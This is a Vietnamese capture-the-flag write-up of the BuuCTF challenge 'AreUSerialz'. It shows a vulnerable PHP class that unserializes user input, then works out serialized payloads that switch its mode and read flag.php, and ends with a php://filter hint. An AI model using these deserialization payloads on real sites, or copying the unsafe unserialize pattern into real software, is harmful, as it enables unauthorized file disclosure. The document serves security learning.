# BuuCTF Web Challenge [Phần 6] ## [网鼎杯 2020 青龙组]AreUSerialz Tiếp tục với series BuuCTF. Thì ở phần này, mình có làm một challenge về **Object injection** Mở url của challenge lên thì mình nhận được toàn bộ source code ```php= <?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } } ``` Phân tích một chút về luồng hoạt động. Đầu tiên challenge sẽ nhận đầu vào thông qua parameter `str` của chúng ta, sau đó những gì chúng ta nhập vào sẽ bị kiểm tra bởi hàm `is_valid` ```php= function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } ``` Nếu pass qua được hàm `is_valid()` thì đầu vào sẽ được `unserialize()` Mô tả ngắn gọn về class FileHandler như sau: Nó có 3 thuộc tính **protected** là `$op,$filename,$content` `$filename` để lưu tên file muốn đọc `$content` để lưu nội dung của file được đọc `$op` là option với **"1"** là lưu nội dung file vào `$content` với hàm `write()` chỉ hiển thị trạng thái đọc file thành công hay thất bại và **"2"** là in đọc file và in nội dung file ra luôn => vậy hướng tấn công của chúng ta là làm sao để `$op=2` và thay đổi được filename thành file ta muốn và cụ thể là `flag.php` Oke giờ đến phần serialize và unserialize ha. Đầu tiên mình thử serialize class FileHandler ra. và đây là định dạng mình nhận được ```php= O:11:"FileHandler":3:{s:5:"*op";N;s:11:"*filename";N;s:10:"*content";N;} ``` Trong PHP khi mà class có các thuộc tính protected ta serialize sẽ có dạng "\00*\00" ở trước tên thuộc tính. Ta có thể thay đổi giá trị của các thuộc tính này bằng cách sau: ```php O:11:"FileHandler":3:{s:5:"\00*\00op";s:1:"2";s:11:"\00*\00filename";s:8:"flag.php";s:10:"\00*\00content";s:1:"1";} ``` Tuy nhiên, payload này lại không thể pass qua được hàm `is_valid()` do có **`\00`** Nhưng có một điều khá hay là từ PHP 7.1 trở lên thì PHP không quan tâm protected hay public :Vv nên ta có thể đổi thuộc tính của nó thành public rồi unserialize luôn =))/ ```php O:11:"FileHandler":3:{s:2:"op";s:1:"2";s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";} ``` ![](https://hackmd.io/_uploads/rkxZOPVa2.png) nhưng vẫn không đọc được file =(( Các bạn hãy thử với **php://filter** và lấy flag nhé :vv